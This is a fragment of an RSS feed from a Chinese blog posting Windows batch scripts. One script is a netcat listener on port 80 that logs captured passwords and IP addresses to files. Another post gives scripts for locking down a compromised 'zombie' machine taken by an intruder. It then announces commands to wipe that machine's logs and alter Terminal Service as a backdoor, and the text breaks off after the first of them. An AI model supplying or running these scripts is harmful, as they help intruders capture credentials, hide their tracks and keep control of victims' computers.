13px;">&nbsp;&nbsp;&nbsp;&nbsp;nc -l -p 80&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 第 %count% 次嗅探结束--^&gt; %date% %time%&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;goto nc&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:end&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;goto endx&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:nclog&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;title 嗅探记录模式&nbsp;</span><a href="http://blog.csdn.net/freexploit" target="_blank" style="font-size: 13px;"><font color="#0070af">http://blog.csdn.net/freexploit</font></a><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo ============================中止程序请按ctrl+c=================================&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 第 1 次记录开始--^&gt; %date% %time%&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;nc -v -l -p 80 2&gt;&gt;hkip.log 1&gt;&gt;hkpass.log&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&gt;&gt;hkpass.log&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 第 1 次记录结束--^&gt; %date% %time%&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:ncx&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo ============================中止程序请按ctrl+c=================================&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set/a count+=1&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 第 %count% 次记录开始--^&gt; %date% %time%&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::// 把nc的嗅探记录分别存到hkip.log 和 hkpass.log&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::// 其中采用了句柄2 和 句柄1 由于每个软件的句柄功能不一样，请自己调试&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::// 默认的句柄参看windows自带帮助&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;nc -v -l -p 80 2&gt;&gt;hkip.log 1&gt;&gt;hkpass.log&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&gt;&gt;hkpass.log&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo 第 %count% 次记录结束--^&gt; %date% %time%&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;goto ncx&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::/* 程序结束 */&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:endx&nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=745]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 09:26:05 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[批处理精彩实例详解]]></title>
  <description><![CDATA[<span style="font-size: 13px;">&nbsp;1、删除win2k/xp系统默认共享的批处理&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;------------------------ cut here then save as .bat or .cmd file ---------------------------&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo preparing to delete all the default shares.when ready pres any key.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@pause&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo off&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:Rem check parameters if null show usage.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if {%1}=={} goto :Usage&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:Rem code start.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo ------------------------------------------------------&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Now deleting all the default shares.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;net share %1$ /delete&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;net share %2$ /delete&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;net share %3$ /delete&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;net share %4$ /delete&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;net share %5$ /delete&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;net share %6$ /delete&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;net share %7$ /delete&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;net share %8$ /delete&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;net share %9$ /delete&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;net stop Server&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;net start Server&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo All the shares have been deleteed&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo ------------------------------------------------------&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Now modify the registry to change the system default properties.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Now creating the registry file&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo windows Registry Editor Version 5.00&gt; c:delshare.reg&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo &#091;HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters&#093;&gt;&gt; c:delshare.reg&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;AutoShareWks&quot;=dword:00000000&gt;&gt; c:delshare.reg&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;AutoShareServer&quot;=dword:00000000&gt;&gt; c:delshare.reg&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Nowing using the registry file to chang the system default properties.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;regedit /s c:delshare.reg&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Deleting the temprotarily files.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;del c:delshare.reg&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;goto :END&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:Usage&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo ------------------------------------------------------&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo*=*= * Aexampleforbatchfile*=*=*&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo*=*= * &#091;Use batch file to changethesysytemshareproperties.&#093;*=*=*&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Author：Ex4rch&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Mail:Ex4rch@hotmail.com&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Error：Not enough parameters&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo*=*= * Please enter the sharediskyouwannadelete*=*=*&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo For instance，to delete the default shares:&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo delshare c d e ipc admin print&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo If the disklable is not as C: D: E: ，Please chang it youself.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo example：&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ：&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo delshare c d e x y z ipc admin print&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo *** you can delete nine shares once in a useing ***&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo ------------------------------------------------------&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;goto :EOF&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:END&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo ------------------------------------------------------&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo OK,delshare.bat has deleted all the share you assigned.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.Any questions ,feel free to mail to&nbsp;</span><a href="mailto:Ex4rch@hotmail.com" style="font-size: 13px;"><font color="#0070af">Ex4rch@hotmail.com</font></a><span style="font-size: 13px;">.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo ------------------------------------------------------&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:EOF&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo end of the batch file&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;------------------------ cut here then save as .bat or .cmd file ---------------------------&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;2、全面加固系统（给肉鸡打补丁）的批处理文件&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;------------------------ cut here then save as .bat or .cmd file ---------------------------&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo windows Registry Editor Version 5.00 &gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &#091;HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters&#093; &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;AutoShareServer&quot;=dword:00000000 &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;AutoShareWks&quot;=dword:00000000 &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@REM &#091;禁止共享&#093;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &#091;HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa&#093; &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;restrictanonymous&quot;=dword:00000001 &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@REM &#091;禁止匿名登录&#093;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &#091;HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters&#093; &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;SMBDeviceEnabled&quot;=dword:00000000 &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@REM &#091;禁止及文件访问和打印共享&#093;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &#091;HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices@REMoteRegistry&#093; &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;Start&quot;=dword:00000004 &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &#091;HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule&#093; &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;Start&quot;=dword:00000004 &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &#091;HKEY_LOCAL_MACHINESOFTWAREMicrosoftwindows NTCurrentVersionWinlogon&#093; &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;ShutdownWithoutLogon&quot;=&quot;0&quot; &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@REM &#091;禁止登录前关机&#093;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;DontDisplayLastUserName&quot;=&quot;1&quot; &gt;&gt;patch.dll&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@REM &#091;禁止显示前一个登录用户名称&#093;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@regedit /s patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;------------------------ cut here then save as .bat or .cmd file ---------------------------&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的terminnal service留跳后路。&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@regedit /s patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@net stop w3svc&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 